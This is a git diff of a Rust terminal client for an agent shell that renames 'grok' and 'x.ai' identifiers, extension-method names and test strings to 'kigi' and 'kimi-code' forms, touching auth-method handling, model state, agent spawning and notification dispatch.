     /// and skills immediately, before any `AvailableCommandsUpdate` arrives.
     pub available_commands: Vec<acp::AvailableCommand>,
-    /// Whether interactive login is required (deferred auth for `grok.com`).
+    /// Whether interactive login is required (deferred auth for `kimi-code`).
     pub needs_login: bool,
-    /// Login button label from `AuthMethod.name` (e.g., "grok.com", "Acme Corp").
+    /// Login button label from `AuthMethod.name` (e.g., "kimi-code", "Acme Corp").
     pub login_label: Option<String>,
     /// The auth method ID to use for login (copied from the first advertised method).
     pub login_method_id: Option<acp::AuthMethodId>,
@@ -83,7 +83,7 @@ pub struct AcpConnection {
     /// resolved by the shell (remote settings / config / env; default OFF) and
     /// advertised in `InitializeResponse.meta.sessionRecap`. The client gates
     /// its automatic away-recap poll and the manual `/recap` on this so a
-    /// disabled feature produces zero `x.ai/recap` traffic. Defaults to `false`
+    /// disabled feature produces zero `kigi/recap` traffic. Defaults to `false`
     /// when absent (e.g. an older shell that predates the feature).
     pub session_recap_available: bool,
     /// `AuthManager` for pager-side authenticated channels.
@@ -183,14 +183,14 @@ pub async fn connect(cancel: &CancellationToken, flags: ConnectFlags) -> Result<
 
     // Spawn the agent
     let memory_config = agent_config.memory_config.clone();
-    let spawned = spawn::spawn_grok_shell(agent_config, cancel, memory_config).await?;
+    let spawned = spawn::spawn_kigi_shell(agent_config, cancel, memory_config).await?;
     let auth_manager = spawned.auth_manager.clone();
     let (tx, rx) = (spawned.channel.tx, spawned.channel.rx);
 
     // Initialize
     let (
         models,
-        is_grok_shell,
+        is_kigi_shell,
         auth_methods,
         default_auth_method_id,
         available_commands,
@@ -218,7 +218,7 @@ pub async fn connect(cancel: &CancellationToken, flags: ConnectFlags) -> Result<
         tx,
         rx,
         models,
-        is_grok_shell,
+        is_kigi_shell,
         auth_methods,
         cancel: spawned.cancel,
         available_commands,
@@ -291,7 +291,7 @@ pub async fn connect_via_leader(
 
     let (
         models,
-        is_grok_shell,
+        is_kigi_shell,
         auth_methods,
         default_auth_method_id,
         available_commands,
@@ -329,7 +329,7 @@ pub async fn connect_via_leader(
         tx,
         rx,
         models,
-        is_grok_shell,
+        is_kigi_shell,
         auth_methods,
         cancel: bridge.cancel,
         available_commands,
@@ -439,10 +439,10 @@ fn client_capabilities_meta(flags: &ConnectFlags) -> serde_json::Value {
     let hunk_mode =
         crate::settings::canonical_hunk_tracker_mode(flags.hunk_tracker_mode.as_deref());
     serde_json::json!({
-        "x.ai/incrementalBashOutput": true,
-        "x.ai/hunkTracker": { "mode": hunk_mode },
-        "x.ai/bashOutputNoColor": true,
-        "x.ai/gitHeadChanged": true,
+        "kigi/incrementalBashOutput": true,
+        "kigi/hunkTracker": { "mode": hunk_mode },
+        "kigi/bashOutputNoColor": true,
+        "kigi/gitHeadChanged": true,
     })
 }
 
@@ -482,11 +482,11 @@ async fn initialize(
 
     let resp: acp::InitializeResponse = acp_send(req, tx).await?;
 
-    // Check if this is a grok-shell agent
-    let is_grok_shell = resp
+    // Check if this is a kigi-shell agent
+    let is_kigi_shell = resp
         .meta
         .as_ref()
-        .and_then(|m| m.get("grokShell"))
+        .and_then(|m| m.get("kigiShell"))
         .and_then(|v| v.as_bool())
         .unwrap_or(false);
 
@@ -514,7 +514,7 @@ async fn initialize(
 
     Ok((
         models,
-        is_grok_shell,
+        is_kigi_shell,
         resp.auth_methods,
         default_auth_method_id,
         available_commands,
@@ -545,7 +545,7 @@ pub fn parse_session_recap_available(meta: Option<&acp::Meta>) -> bool {
 
 /// Determine whether interactive login is needed based on the advertised auth methods.
 ///
-/// Matches TUI startup behavior: if the first method is `grok.com`, defer auth
+/// Matches TUI startup behavior: if the first method is `kimi-code`, defer auth
 /// and show the login-aware welcome flow. Otherwise, authenticate eagerly.
 ///
 /// Returns `(needs_login, login_label, login_method_id, auth_start_mode)`.
@@ -589,7 +589,7 @@ pub fn startup_auth_metadata(
 ///
 /// Used when eager auth (cached_token / API key) fails and we need to fall
 /// back to the welcome screen with a working login button. Scans the list
-/// for a `grok.com` or `oidc` method — these are the ones that can trigger
+/// for a `kimi-code` or `oidc` method — these are the ones that can trigger
 /// a browser-based re-auth flow.
 pub fn find_interactive_login_method(
     auth_methods: &[acp::AuthMethod],
@@ -767,7 +767,7 @@ mod tests {
 
     #[test]
     fn parse_available_commands_missing_key_returns_empty() {
-        let meta = serde_json::json!({ "grokShell": true });
+        let meta = serde_json::json!({ "kigiShell": true });
         let cmds = parse_available_commands(meta.as_object());
         assert!(cmds.is_empty());
     }
@@ -801,7 +801,7 @@ mod tests {
 
     #[test]
     fn parse_session_recap_available_defaults_off_when_missing() {
-        let meta = serde_json::json!({ "grokShell": true, "cancelRewind": true });
+        let meta = serde_json::json!({ "kigiShell": true, "cancelRewind": true });
         assert!(!parse_session_recap_available(meta.as_object()));
         assert!(!parse_session_recap_available(None));
     }
@@ -832,28 +832,28 @@ mod tests {
     }
 
     #[test]
-    fn startup_auth_grok_com_no_provider_needs_login_pending() {
-        let methods = vec![make_auth_method("grok.com", "grok.com", None)];
+    fn startup_auth_kigi_com_no_provider_needs_login_pending() {
+        let methods = vec![make_auth_method("kimi-code", "kimi-code", None)];
         let (needs, label, method_id, mode) = startup_auth_metadata(&methods);
         assert!(needs);
-        assert_eq!(label.as_deref(), Some("grok.com"));
-        assert_eq!(method_id.as_ref().unwrap().0.as_ref(), "grok.com");
+        assert_eq!(label.as_deref(), Some("kimi-code"));
+        assert_eq!(method_id.as_ref().unwrap().0.as_ref(), "kimi-code");
         assert_eq!(mode, AuthStartMode::Pending);
     }
 
     #[test]
-    fn startup_auth_grok_com_with_external_provider_command() {
+    fn startup_auth_kigi_com_with_external_provider_command() {
         let meta = serde_json::json!({ "external_provider": true });
-        let methods = vec![make_auth_method("grok.com", "Acme Corp", Some(meta))];
+        let methods = vec![make_auth_method("kimi-code", "Acme Corp", Some(meta))];
         let (needs, label, method_id, mode) = startup_auth_metadata(&methods);
         assert!(needs);
         assert_eq!(label.as_deref(), Some("Acme Corp"));
-        assert_eq!(method_id.as_ref().unwrap().0.as_ref(), "grok.com");
+        assert_eq!(method_id.as_ref().unwrap().0.as_ref(), "kimi-code");
         assert_eq!(mode, AuthStartMode::Command);
     }
 
     #[test]
-    fn startup_auth_non_grok_com_no_login() {
+    fn startup_auth_non_kigi_com_no_login() {
         let methods = vec![make_auth_method("api-key", "API Key", None)];
         let (needs, label, method_id, mode) = startup_auth_metadata(&methods);
         assert!(!needs);
@@ -890,7 +890,7 @@ mod tests {
             // enterprise-style: model has `env_key` set and the env var resolves,
             // so the shell-side predicate returns true.
             has_external_api_key: true,
-            // Realistic enterprise user: no cached session token, default `grok.com`
+            // Realistic enterprise user: no cached session token, default `kimi-code`
             // login (no enterprise OIDC).
             has_cached_token: false,
             login_label: None,
@@ -916,27 +916,27 @@ mod tests {
     /// `auth_methods.first()`. This locks the failure mode of the regression:
     /// if a future refactor makes the pager scan past `.first()`, this test
     /// stops being equivalent to
-    /// `startup_auth_grok_com_no_provider_needs_login_pending` above and
+    /// `startup_auth_kigi_com_no_provider_needs_login_pending` above and
     /// either passes or fails on a meaningful new code path.
     #[test]
     fn startup_auth_xai_api_key_not_first_still_requires_login() {
-        use kigi_shell::agent::auth_method::{KIGI_COM_METHOD_ID, XAI_API_KEY_METHOD_ID};
+        use kigi_shell::agent::auth_method::{KIMI_CODE_METHOD_ID, XAI_API_KEY_METHOD_ID};
 
         let methods = vec![
-            make_auth_method(KIGI_COM_METHOD_ID, "Grok", None),
+            make_auth_method(KIMI_CODE_METHOD_ID, "Kigi", None),
             make_auth_method(XAI_API_KEY_METHOD_ID, "xai.api_key", None),
         ];
         let (needs, _, _, _) = startup_auth_metadata(&methods);
         assert!(
             needs,
-            "with grok.com first, the pager must require login -- pinning \
+            "with kimi.com first, the pager must require login -- pinning \
              the BAD-ordering failure mode (xai.api_key not first)",
         );
     }
 
     #[test]
     fn startup_auth_method_id_is_copied_not_synthesized() {
-        let methods = vec![make_auth_method("grok.com", "My Login", None)];
+        let methods = vec![make_auth_method("kimi-code", "My Login", None)];
         let (_, _, method_id, _) = startup_auth_metadata(&methods);
         // Verify it's the exact same ID from the method, not hardcoded
         assert_eq!(&method_id.unwrap(), methods[0].id());
@@ -945,7 +945,7 @@ mod tests {
     #[test]
     fn startup_auth_external_provider_false_is_pending() {
         let meta = serde_json::json!({ "external_provider": false });
-        let methods = vec![make_auth_method("grok.com", "grok.com", Some(meta))];
+        let methods = vec![make_auth_method("kimi-code", "kimi-code", Some(meta))];
         let (_, _, _, mode) = startup_auth_metadata(&methods);
         assert_eq!(mode, AuthStartMode::Pending);
     }
@@ -1033,12 +1033,12 @@ mod tests {
         // Rows 1 & 2 of the truth table: nothing set, and a set-but-blank value,
         // both advertise the `agent_only` default (never `""` → AllDirty).
         let absent = client_capabilities_meta(&ConnectFlags::default());
-        assert_eq!(absent["x.ai/hunkTracker"]["mode"], "agent_only");
+        assert_eq!(absent["kigi/hunkTracker"]["mode"], "agent_only");
         let blank = client_capabilities_meta(&ConnectFlags {
             hunk_tracker_mode: Some("   ".into()),
             ..Default::default()
         });
-        assert_eq!(blank["x.ai/hunkTracker"]["mode"], "agent_only");
+        assert_eq!(blank["kigi/hunkTracker"]["mode"], "agent_only");
     }
 
     #[test]
@@ -1050,7 +1050,7 @@ mod tests {
                 hunk_tracker_mode: Some(raw.into()),
                 ..Default::default()
             });
-            assert_eq!(meta["x.ai/hunkTracker"]["mode"], "off", "raw={raw}");
+            assert_eq!(meta["kigi/hunkTracker"]["mode"], "off", "raw={raw}");
         }
     }
 }
diff --git a/crates/codegen/kigi-tui/src/acp/model_state.rs b/crates/codegen/kigi-tui/src/acp/model_state.rs
index 89db5da..afb03eb 100644
--- a/crates/codegen/kigi-tui/src/acp/model_state.rs
+++ b/crates/codegen/kigi-tui/src/acp/model_state.rs
@@ -74,7 +74,7 @@ impl ModelState {
         }
     }
 
-    /// Machine-readable model ID string for the current model (e.g. "grok-4.5").
+    /// Machine-readable model ID string for the current model (e.g. "kigi-4.5").
     pub fn current_model_id_str(&self) -> Option<&str> {
         Some(self.current.as_ref()?.0.as_ref())
     }
@@ -94,7 +94,7 @@ impl ModelState {
     ///
     /// Honors an explicit `acceptsImages` bool, else an `inputModalities` array
     /// containing `"image"`. DEFAULTS TO `true` when neither key is present:
-    /// correct today (all current Grok models accept images, so nothing is
+    /// correct today (all current Kigi models accept images, so nothing is
     /// suppressed) and forward-compatible (suppresses non-vision models once the
     /// ACP server populates the key). Populating that key server-side is a
     /// separate change.
@@ -223,7 +223,7 @@ impl ModelState {
     /// Map a typed/selected effort token to its canonical value for the current
     /// model. Accepts a menu option id (case-insensitive) or a canonical level
     /// that appears as a **value** in that model's menu. Levels the model does
-    /// not offer (e.g. `none` on grok-4.5) are rejected so we fail in the TUI
+    /// not offer (e.g. `none` on kigi-4.5) are rejected so we fail in the TUI
     /// instead of sending a blocked effort to the API.
     pub fn resolve_effort_token(&self, token: &str) -> Option<ReasoningEffort> {
         match self.current.as_ref() {
@@ -249,7 +249,7 @@ impl ModelState {
         }
         // Canonical level (e.g. "high", "max"→xhigh) only if the model menu
         // actually offers that value — not free-form power-user aliases that
-        // would 400 on the server (e.g. `none` on grok-4.5).
+        // would 400 on the server (e.g. `none` on kigi-4.5).
         let parsed = token.parse::<ReasoningEffort>().ok()?;
         options
             .iter()
@@ -410,21 +410,17 @@ mod tests {
 
     #[test]
     fn update_catalog_preserves_user_effort_when_model_unchanged() {
-        let id = acp::ModelId::new(Arc::from("grok-build"));
+        let id = acp::ModelId::new(Arc::from("kigi"));
         let mut state = ModelState::default();
-        state.available.insert(
-            id.clone(),
-            model_with_effort("grok-build", "Grok Build", "high"),
-        );
+        state
+            .available
+            .insert(id.clone(), model_with_effort("kigi", "Kigi", "high"));
         state.set_current(id.clone(), Some(ReasoningEffort::Xhigh));
         assert_eq!(state.reasoning_effort, Some(ReasoningEffort::Xhigh));
 
         // The broadcast carries the model's static default (high) for the same model.
         let mut refreshed = IndexMap::new();
-        refreshed.insert(
-            id.clone(),
-            model_with_effort("grok-build", "Grok Build", "high"),
-        );
+        refreshed.insert(id.clone(), model_with_effort("kigi", "Kigi", "high"));
         state.update_catalog(refreshed, Some(id.clone()));
 
         assert_eq!(
diff --git a/crates/codegen/kigi-tui/src/acp/spawn.rs b/crates/codegen/kigi-tui/src/acp/spawn.rs
index 21546c1..5846c53 100644
--- a/crates/codegen/kigi-tui/src/acp/spawn.rs
+++ b/crates/codegen/kigi-tui/src/acp/spawn.rs
@@ -1,6 +1,6 @@
 //! Agent spawning — creates the agent process and ACP channels.
 //!
-//! Simplified to only support GrokShell (in-process) mode.
+//! Simplified to only support KigiShell (in-process) mode.
 //! Subprocess and remote modes can be added later if needed.
 
 use std::rc::Rc;
@@ -30,10 +30,10 @@ pub struct SpawnedAgent {
     pub auth_manager: std::sync::Arc<AuthManager>,
 }
 
-/// Spawn a GrokShell agent in a background thread.
+/// Spawn a KigiShell agent in a background thread.
 ///
 /// Returns the ACP client channel for communication and a cancellation token.
-pub async fn spawn_grok_shell(
+pub async fn spawn_kigi_shell(
     agent_config: AgentConfig,
     cancel: &CancellationToken,
     memory_config: Option<kigi_shell::config::MemoryConfig>,
diff --git a/crates/codegen/kigi-tui/src/acp/tracker.rs b/crates/codegen/kigi-tui/src/acp/tracker.rs
index 7816000..587441b 100644
--- a/crates/codegen/kigi-tui/src/acp/tracker.rs
+++ b/crates/codegen/kigi-tui/src/acp/tracker.rs
@@ -255,7 +255,7 @@ pub struct AcpUpdateTracker {
     /// Tool call IDs marked as background (`is_background=true`).
     ///
     /// First-detection (no scrollback entry yet): defers entry creation until
-    /// `x.ai/task_backgrounded` creates a `BgTask` block.
+    /// `kigi/task_backgrounded` creates a `BgTask` block.
     /// Late-detection (Execute block already exists): suppresses further output
     /// streaming; the existing block is demoted by `handle_task_backgrounded`.
     ///
@@ -2129,7 +2129,7 @@ fn task_ids_from_raw_input(raw: &serde_json::Value) -> Vec<String> {
 }
 /// Check if a tool call is a background execute (`is_background=true`).
 ///
-/// These are deferred from scrollback — the `x.ai/task_backgrounded`
+/// These are deferred from scrollback — the `kigi/task_backgrounded`
 /// notification creates a `BgTask` block instead of an `Execute` block.
 ///
 /// Eager ACP messages often use `kind=Other` with `title=run_terminal_command`
@@ -2602,7 +2602,7 @@ fn make_relative_path(path: &str) -> String {
 mod tests {
     use super::*;
     use std::sync::Arc;
-    /// Default meta with no timestamps (simulates old grok-shell or tests that
+    /// Default meta with no timestamps (simulates old kigi-shell or tests that
     /// don't care about timing).
     fn meta() -> NotificationMeta {
         NotificationMeta::default()
@@ -4602,7 +4602,7 @@ mod tests {
             "stream A message should be finished"
         );
     }
-    /// No stream_start_ms (old grok-shell) should not break anything.
+    /// No stream_start_ms (old kigi-shell) should not break anything.
     #[test]
     fn no_stream_start_ms_preserves_existing_behavior() {
         let mut sb = ScrollbackState::new();
@@ -5554,7 +5554,7 @@ mod tests {
         .status(acp::ToolCallStatus::Pending)
     }
     #[test]
-    fn is_task_tool_recognizes_grok_build_variant() {
+    fn is_task_tool_recognizes_kigi_variant() {
         assert!(is_task_tool(&initial_tool_call("tc1", "task")));
         let mut with_variant = initial_tool_call("tc2", "anything");
         with_variant.raw_input = Some(serde_json::json!({ "variant" : "Task" }));
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/background.rs b/crates/codegen/kigi-tui/src/app/acp_handler/background.rs
index 13e5715..a493922 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/background.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/background.rs
@@ -62,7 +62,7 @@ pub(super) fn route_bg_task_stdout(
     true // Consumed — don't pass to tracker
 }
 
-/// Handle `x.ai/task_backgrounded` — a bash command transitioned to background.
+/// Handle `kigi/task_backgrounded` — a bash command transitioned to background.
 ///
 /// Creates a `BgTaskState` in the central store and sets up the
 /// `tool_call_id → task_id` correlation for stdout routing.
@@ -74,7 +74,7 @@ pub(super) fn route_bg_task_stdout(
 pub(super) fn handle_task_backgrounded(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     // Parse the SessionNotification envelope
     let Ok(session_notif) = serde_json::from_str::<SessionNotification>(notif.params.get()) else {
-        tracing::warn!("Failed to parse x.ai/task_backgrounded");
+        tracing::warn!("Failed to parse kigi/task_backgrounded");
         return false;
     };
 
@@ -241,7 +241,7 @@ pub(super) fn handle_task_backgrounded(notif: &acp::ExtNotification, app: &mut A
     is_active
 }
 
-/// Handle `x.ai/monitor_event` — background task or monitor emitted new output.
+/// Handle `kigi/monitor_event` — background task or monitor emitted new output.
 pub(super) fn handle_monitor_event(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     let Ok(session_notif) = serde_json::from_str::<SessionNotification>(notif.params.get()) else {
         return false;
@@ -414,16 +414,16 @@ pub(super) fn handle_scheduled_task_inject_prompt(
     let payload: serde_json::Value = match serde_json::from_str(notif.params.get()) {
         Ok(v) => v,
         Err(e) => {
-            tracing::warn!(error = %e, "Failed to parse x.ai/scheduled_task_inject_prompt");
+            tracing::warn!(error = %e, "Failed to parse kigi/scheduled_task_inject_prompt");
             return false;
         }
     };
     let Some(session_id) = payload["sessionId"].as_str() else {
-        tracing::warn!("x.ai/scheduled_task_inject_prompt: missing or non-string sessionId");
+        tracing::warn!("kigi/scheduled_task_inject_prompt: missing or non-string sessionId");
         return false;
     };
     let Some(prompt) = payload["prompt"].as_str().filter(|s| !s.is_empty()) else {
-        tracing::warn!("x.ai/scheduled_task_inject_prompt: missing or empty prompt");
+        tracing::warn!("kigi/scheduled_task_inject_prompt: missing or empty prompt");
         return false;
     };
     let task_id = payload["taskId"].as_str().unwrap_or("unknown");
@@ -441,7 +441,7 @@ pub(super) fn handle_scheduled_task_inject_prompt(
     };
 
     // Only the driver injects + runs the scheduled prompt. In leader mode the
-    // `x.ai/scheduled_task_inject_prompt` notification is routed by the leader
+    // `kigi/scheduled_task_inject_prompt` notification is routed by the leader
     // to the SINGLE session driver (see `is_scheduled_task_inject_prompt` in
     // leader/server.rs), so any client that receives it IS the driver and must
     // enqueue + run it — including a client that attached via `session/load`
@@ -551,7 +551,7 @@ pub(super) fn handle_git_head_changed(notif: &acp::ExtNotification, app: &mut Ap
 pub(super) fn handle_task_completed(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     // The payload is a SessionNotification wrapping TaskCompleted { task_snapshot }
     let Ok(session_notif) = serde_json::from_str::<SessionNotification>(notif.params.get()) else {
-        tracing::warn!("Failed to parse x.ai/task_completed");
+        tracing::warn!("Failed to parse kigi/task_completed");
         return false;
     };
 
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/follow_ups.rs b/crates/codegen/kigi-tui/src/app/acp_handler/follow_ups.rs
index 4b0df6c..9b38d85 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/follow_ups.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/follow_ups.rs
@@ -11,7 +11,7 @@ pub(super) const MAX_FOLLOW_UP_LABEL: usize = 256;
 /// retained `follow_up_seen` ring.
 pub(super) const MAX_RESPONSE_ID_LEN: usize = 128;
 
-/// Deserialize shape of the `x.ai/follow_ups` params emitted by the shell
+/// Deserialize shape of the `kigi/follow_ups` params emitted by the shell
 /// translator: `{ response_id, suggestions: [{ label, .. }] }`. The keys are
 /// prost-derived snake_case — NOT camelCase like most other pager
 /// notification payloads — so this struct must match snake_case verbatim.
@@ -32,13 +32,13 @@ pub(super) struct FollowUpsParams {
     prompt_id: Option<String>,
     /// Reserved replay marker carrier. Absent in v1 (the shell never sets
     /// it); honored from day one so future replay producers need no pager
-    /// change. Parsed loosely as a JSON value to read the `"x.ai/replayed"`
+    /// change. Parsed loosely as a JSON value to read the `"kigi/replayed"`
     /// key (a slash-bearing key prost cannot model as a field).
     #[serde(default, rename = "_meta")]
     meta: Option<serde_json::Value>,
 }
 
-/// A single `x.ai/follow_ups` suggestion. Only the human-facing `label` is
+/// A single `kigi/follow_ups` suggestion. Only the human-facing `label` is
 /// consumed; `properties` / `tool_overrides` (also in the wire shape) are
 /// ignored.
 #[derive(serde::Deserialize)]
@@ -60,11 +60,11 @@ pub(super) fn sanitize_suggestion(label: &str) -> String {
     cleaned.trim().to_owned()
 }
 
-/// Handle `x.ai/follow_ups` — render follow-up suggestion chips for the
+/// Handle `kigi/follow_ups` — render follow-up suggestion chips for the
 /// latest assistant response.
 ///
 /// Newest-response-wins keying lives in [`AgentView::apply_follow_ups`]. The
-/// reserved `_meta["x.ai/replayed"] == true` marker suppresses rendering (it
+/// reserved `_meta["kigi/replayed"] == true` marker suppresses rendering (it
 /// is absent today and treated as optional). The params carry no session id,
 /// so chips target the active agent; a background agent's follow-ups would
 /// mis-route — a forwarding obligation for the shell to add a session id.
@@ -77,7 +77,7 @@ pub(super) fn handle_follow_ups(notif: &acp::ExtNotification, app: &mut AppView)
     if params
         .meta
         .as_ref()
-        .and_then(|m| m.get("x.ai/replayed"))
+        .and_then(|m| m.get("kigi/replayed"))
         .and_then(|v| v.as_bool())
         .unwrap_or(false)
     {
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/interactions.rs b/crates/codegen/kigi-tui/src/app/acp_handler/interactions.rs
index 71767f7..12bca46 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/interactions.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/interactions.rs
@@ -1,6 +1,6 @@
 use super::*;
 
-/// Handle `x.ai/ask_user_question` ext-method.
+/// Handle `kigi/ask_user_question` ext-method.
 ///
 /// Parses the typed request, creates a `QuestionViewState` with the
 /// `response_tx` stashed, and opens the question overlay. The pager does
@@ -14,7 +14,7 @@ pub(crate) fn handle_ask_user_question(
     app: &mut AppView,
 ) -> bool {
     use crate::views::question_view::QuestionViewState;
-    use kigi_tools::implementations::grok_build::ask_user_question::{
+    use kigi_tools::implementations::kigi::ask_user_question::{
         AskUserQuestionExtRequest, AskUserQuestionExtResponse,
     };
 
@@ -119,7 +119,7 @@ pub(crate) fn handle_ask_user_question(
     is_active
 }
 
-/// Handle an `x.ai/exit_plan_mode` ext_method request.
+/// Handle an `kigi/exit_plan_mode` ext_method request.
 ///
 /// Creates a `PlanApprovalViewState` overlay for interactive approval.
 ///
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/mcp.rs b/crates/codegen/kigi-tui/src/app/acp_handler/mcp.rs
index 5126a7f..d916868 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/mcp.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/mcp.rs
@@ -46,7 +46,7 @@ pub(super) fn handle_mcp_init_progress(notif: &acp::ExtNotification, app: &mut A
     is_active
 }
 
-/// Handle `x.ai/mcp/tools_changed` and `x.ai/mcp_initialized`.
+/// Handle `kigi/mcp/tools_changed` and `kigi/mcp_initialized`.
 ///
 /// Routing rules (verified against the four shell emit sites in
 /// `kigi-shell/src/session/acp_session.rs` — toggle-tool ~L6661,
@@ -78,8 +78,8 @@ pub(super) fn handle_mcp_init_progress(notif: &acp::ExtNotification, app: &mut A
 pub(super) fn handle_mcp_tools_changed(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     let method = notif.method.as_ref();
 
-    // Both `x.ai/mcp_initialized` and (newer shell)
-    // `x.ai/mcp/tools_changed` carry `sessionId`. Route by it so a
+    // Both `kigi/mcp_initialized` and (newer shell)
+    // `kigi/mcp/tools_changed` carry `sessionId`. Route by it so a
     // background agent's notification updates *its* state — not
     // whichever agent is foregrounded. Unknown and subagent (child)
     // sessions are dropped; a missing sessionId falls back to the
@@ -119,7 +119,7 @@ pub(super) fn handle_mcp_tools_changed(notif: &acp::ExtNotification, app: &mut A
     let mut redraw = false;
 
     // `mcp_initialized` clears the matched agent's connecting indicator.
-    if method == "x.ai/mcp_initialized"
+    if method == "kigi/mcp_initialized"
         && let Some(agent) = app.agents.get_mut(&id)
         && agent.mcp_init_progress.take().is_some()
     {
@@ -163,7 +163,7 @@ pub(super) fn agent_has_pending_mcps_fetch(app: &AppView, agent_id: AgentId) ->
     })
 }
 
-/// Handle `x.ai/mcp/server_status`.
+/// Handle `kigi/mcp/server_status`.
 ///
 /// Routes by the notification's `sessionId` via
 /// [`find_session_match`] — the matched agent's extensions modal is
@@ -206,7 +206,7 @@ pub(super) fn handle_mcp_server_status(notif: &acp::ExtNotification, app: &mut A
 
     let Ok(payload) = serde_json::from_str::<McpServerStatusPayload>(notif.params.get()) else {
         tracing::warn!(
-            "Failed to parse x.ai/mcp/server_status: {}",
+            "Failed to parse kigi/mcp/server_status: {}",
             &notif.params.get()
                 [..crate::render::line_utils::floor_char_boundary(notif.params.get(), 100)]
         );
@@ -263,7 +263,7 @@ pub(super) fn handle_mcp_server_status(notif: &acp::ExtNotification, app: &mut A
                 tracing::warn!(
                     server = %payload.name,
                     error = %e,
-                    "x.ai/mcp/server_status: tools field present but not Vec<McpToolEntry>; status still applied"
+                    "kigi/mcp/server_status: tools field present but not Vec<McpToolEntry>; status still applied"
                 );
                 None
             }
@@ -273,7 +273,7 @@ pub(super) fn handle_mcp_server_status(notif: &acp::ExtNotification, app: &mut A
     mutated && is_active
 }
 
-/// Handle `x.ai/mcp/servers_updated`.
+/// Handle `kigi/mcp/servers_updated`.
 ///
 /// Emitted by the shell from `MvpAgent` on managed-config resolve and
 /// on config reload (`crates/codegen/kigi-shell/src/agent/mvp_agent.rs`
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/mod.rs b/crates/codegen/kigi-tui/src/app/acp_handler/mod.rs
index fddb44e..53a7a24 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/mod.rs
@@ -2,8 +2,8 @@
 //!
 //! Routes incoming [`AcpClientMessage`] notifications to the appropriate
 //! agent's tracker, queues permission requests for interactive handling,
-//! and xAI session extension notifications (`x.ai/session_notification` and
-//! replay-path `x.ai/session/update`).
+//! and xAI session extension notifications (`kigi/session_notification` and
+//! replay-path `kigi/session/update`).
 
 use std::collections::hash_map::Entry;
 use std::path::PathBuf;
@@ -591,39 +591,39 @@ pub(crate) fn handle(msg: AcpClientMessage, app: &mut AppView) -> bool {
 /// Handle an xAI extension notification.
 ///
 /// Dispatches on method string:
-/// - `x.ai/session_notification` / `x.ai/session/update` → per-agent session updates
+/// - `kigi/session_notification` / `kigi/session/update` → per-agent session updates
 fn handle_ext_notification(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     match notif.method.as_ref() {
-        "x.ai/session_notification" | "x.ai/session/update" => {
+        "kigi/session_notification" | "kigi/session/update" => {
             handle_session_notification(notif, app)
         }
-        "x.ai/follow_ups" => handle_follow_ups(notif, app),
-        "x.ai/task_backgrounded" => handle_task_backgrounded(notif, app),
-        "x.ai/task_completed" => handle_task_completed(notif, app),
-        "x.ai/models/update" => handle_models_update(notif, app),
-        "x.ai/settings/update" => handle_settings_update(notif, app),
-        "x.ai/sessions/changed" => handle_sessions_changed(notif, app),
-        "x.ai/queue/changed" => handle_queue_changed(notif, app),
+        "kigi/follow_ups" => handle_follow_ups(notif, app),
+        "kigi/task_backgrounded" => handle_task_backgrounded(notif, app),
+        "kigi/task_completed" => handle_task_completed(notif, app),
+        "kigi/models/update" => handle_models_update(notif, app),
+        "kigi/settings/update" => handle_settings_update(notif, app),
+        "kigi/sessions/changed" => handle_sessions_changed(notif, app),
+        "kigi/queue/changed" => handle_queue_changed(notif, app),
         // TODO(prompt_complete-deprecation): Legacy removal (gated): durable turn_completed is already consumed via finalize_turn_from_terminal; keep & re-point the lost-RPC reconcile to the durable rail before deleting.
-        "x.ai/session/prompt_complete" => handle_prompt_complete(notif, app),
-        "x.ai/session/interjection" => handle_interjection(notif, app),
-        "x.ai/monitor_event" => handle_monitor_event(notif, app),
-        "x.ai/scheduled_task_created" => handle_scheduled_task_created(notif, app),
-        "x.ai/scheduled_task_fired" => handle_scheduled_task_fired(notif, app),
-        "x.ai/scheduled_task_deleted" => handle_scheduled_task_deleted(notif, app),
-        "x.ai/scheduled_task_inject_prompt" => handle_scheduled_task_inject_prompt(notif, app),
-        "x.ai/git_head_changed" => handle_git_head_changed(notif, app),
-        "x.ai/mcp/init_progress" => handle_mcp_init_progress(notif, app),
-        "x.ai/mcp/tools_changed" | "x.ai/mcp_initialized" => handle_mcp_tools_changed(notif, app),
-        "x.ai/mcp/server_status" if push_server_status_enabled() => {
+        "kigi/session/prompt_complete" => handle_prompt_complete(notif, app),
+        "kigi/session/interjection" => handle_interjection(notif, app),
+        "kigi/monitor_event" => handle_monitor_event(notif, app),
+        "kigi/scheduled_task_created" => handle_scheduled_task_created(notif, app),
+        "kigi/scheduled_task_fired" => handle_scheduled_task_fired(notif, app),
+        "kigi/scheduled_task_deleted" => handle_scheduled_task_deleted(notif, app),
+        "kigi/scheduled_task_inject_prompt" => handle_scheduled_task_inject_prompt(notif, app),
+        "kigi/git_head_changed" => handle_git_head_changed(notif, app),
+        "kigi/mcp/init_progress" => handle_mcp_init_progress(notif, app),
+        "kigi/mcp/tools_changed" | "kigi/mcp_initialized" => handle_mcp_tools_changed(notif, app),
+        "kigi/mcp/server_status" if push_server_status_enabled() => {
             handle_mcp_server_status(notif, app)
         }
-        "x.ai/mcp/servers_updated" => handle_mcp_servers_updated(notif, app),
+        "kigi/mcp/servers_updated" => handle_mcp_servers_updated(notif, app),
         _ => false,
     }
 }
 
-/// Handle `x.ai/session/interjection` — the leader broadcasts this
+/// Handle `kigi/session/interjection` — the leader broadcasts this
 /// sessionId-bearing notification to every attached client when a mid-turn
 /// interjection is queued (emitted from the session actor's `Interject`
 /// command handler). Each client renders the interjection as a scrollback
